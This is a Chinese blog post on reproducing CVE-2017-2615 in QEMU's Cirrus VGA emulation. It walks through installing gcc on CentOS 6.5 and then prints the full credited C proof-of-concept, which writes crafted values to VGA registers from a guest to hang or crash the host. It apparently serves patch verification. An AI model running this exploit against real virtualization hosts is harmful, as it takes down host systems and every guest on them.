A-A+

CVE-2017-2615 cirrus vga 漏洞POC及复习过程

2018年01月19日 原创文章 暂无评论 阅读 2,953 views 次

另提供CVE-2017-2615漏洞成因分析文章:http://coao.co/2972.html
---------------------------------------------------------------------------------------------------
首先应该在linux下执行命: lspci,如果vga型号为cirrus会存在问题

vga型号为cirrus会存在问题

vga型号为cirrus会存在问题

首先连接自己的linux服务器然后查看是否支持gcc编译环境。

gcc编译环境

gcc编译环境

如果输入gcc  提示:-bash: line 9: gcc : command not found  则表示没有gcc环境,就需要安装gcc环境。

安装gcc编译环境

CentOS6.5 安装gcc 可参考http://blog.csdn.net/lichen_net/article/details/70211204

CentOS6.3 安装gcc  可参考http://blog.csdn.net/vah101/article/details/17677451

安装包  链接: https://pan.baidu.com/s/1qZlkfnA 密码: mtqr

以CentOS6.5 安装gcc示例操作

首先应查看操作系统及版本。命令:uname -a

Linux xxxx.com 2.6.32-504.23.4.el6.centos.plus.x86_64 #1 SMP Wed Jun 10 13:09:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

这里操作系统为64位操作系统。

然后查看操作系统及版本。命令:lsb_release -a

LSB Version: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch

Distributor ID: CentOS

Description: CentOS release 6.5 (Final)

Release: 6.5

Codename: Final

这里是: CentOS release 6.5   它对应的gcc版本为4.7,为什么对应的版本是4.7如下图:

centos6.5 对应 gcc版本

centos6.5 对应 gcc版本

这里安装gcc时又提示缺少其他相关文件。如下图:

安装gcc缺少其他文件

安装gcc缺少其他文件

因为安装其他文件可能还会缺少另一些文件上方已经报错提示。这里为了省事网上直接找到了全部相关的安装包。(这里需要注意,小心别人的安装包可能捆绑病毒)如图:

http://pan.baidu.com/s/1kVA1pqv 全部包

http://pan.baidu.com/s/1kVA1pqv 全部包 然后执行图中的命令centos6.5下的 gcc就安装成功了

安装成功就是利用gcc编译poc然后执行了。POC代码如下:

##########################################################33
/*
 *  CVE-2017-2615 PoC
 *
 *  Qiang Li of the Gear Team, Qihoo 360 Inc.
 *
 *  #gcc poc.c -o poc
 *  #./poc
 *
*/
#include <sys/io.h>
#include <stdio.h>

void write_sr(int idx,int val)
{
      outb(idx,0x3c4);
        outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
        outb(idx,0x3ce);
        outb(val,0x3cf);
}


int main()
{
        iopl(3);
        write_sr(0x07,1);
        write_gr(0x31,0x80);
        write_gr(0x26,0xff);
        write_gr(0x27,0xff);
        write_gr(0x24,1);
        write_gr(0x20,0xff);
        write_gr(0x21,0xff);
        write_gr(0x22,0x0);
        write_gr(0x23,0x0);

        write_gr(0x28,0);
        write_gr(0x29,0);
        write_gr(0x2a,0);
        write_gr(0x2c,0xff);
        write_gr(0x2d,0xff);
        write_gr(0x2e,0xff);

        write_gr(0x30,1);
        write_gr(0x2a,0);

    return 0;
}

##################################333#

复制所有代码中的内容,在linux下新建一个poc.c的文件,把上面的代码粘帖进去。
然后执行命令(编译poc脚本): gcc poc.c -o poc
然后再次执行编译后的poc: ./poc
执行后这台虚拟机的主机控制台查看,执行命令的虚拟机的状态,如果异常就是没打补丁。

这里我经过多次执行poc,大概在3遍以上,没打补丁和打补丁的区别就如下图:

存在此漏洞执行POC后的 返回“The semaphore timeout period has expired.”,系统存在一定延时,然后死机,无法响应

如下图

此时通过gdb调试可以宿主机通过gdb调试(gdb -p PID),可以看到触发了段异常,具体响应如下图:

对于修复过的设备多次执行均不会存在上述现象

 

最后文章引用了多处内容。引用内容地址如下:
poc为360团队贡献,引用地址:http://seclists.org/oss-sec/2017/q1/469

 

标签:

给我留言

Copyright © 0x24bin's Blog 保留所有权利.   Theme  Ality

用户登录